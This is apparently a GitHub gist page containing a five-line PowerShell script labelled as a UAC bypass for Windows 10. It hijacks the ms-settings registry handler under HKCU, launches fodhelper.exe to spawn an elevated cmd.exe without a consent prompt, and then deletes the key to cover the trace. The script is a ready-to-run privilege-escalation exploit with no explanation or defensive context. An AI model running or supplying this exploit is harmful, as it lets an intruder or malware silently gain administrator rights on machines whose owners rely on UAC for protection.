Skip to content

Instantly share code, notes, and snippets.

@adenkiewicz

adenkiewicz/elevate2.ps1

Created April 21, 2020 14:33
Show Gist options
  • Save adenkiewicz/0832f4d8e1af7445532566aa98540c9c to your computer and use it in GitHub Desktop.
Save adenkiewicz/0832f4d8e1af7445532566aa98540c9c to your computer and use it in GitHub Desktop.
Download ZIP
UAC bypass on Windows 10.0.18363
Raw
elevate2.ps1
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value cmd.exe -Force
Start-Process "C:\Windows\System32\fodhelper.exe"
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment